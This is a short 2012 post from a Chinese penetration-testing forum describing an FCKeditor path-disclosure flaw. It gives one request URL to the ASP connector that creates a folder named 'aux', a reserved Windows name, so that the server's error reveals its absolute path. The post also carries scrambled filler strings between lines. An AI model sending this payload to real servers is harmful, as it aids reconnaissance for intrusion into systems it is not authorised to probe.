中国网络渗透测试联盟
标题:
最新FCKeditor爆绝对路径漏洞
[打印本页]
作者:
admin
时间:
2012-11-21 13:39
标题:
最新FCKeditor爆绝对路径漏洞
代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
h1 E& K1 ~) ~$ y
3 t4 Q, ?" y/ ?1 [, b- x
+ h/ F0 l/ Q) w) N6 m
版本未测试。。。
3 T; \8 d( }1 I0 o" s& N$ d
2 g% e4 x' M9 Z# }9 c! \) r
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
9 Y, k! t6 x# q6 [! d( m$ H
8 v* K' d) |# V, V9 u
9 J8 W6 S9 d% ]3 v3 [
听说IIS都可以。。
3 H& M2 @ [/ w' f
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2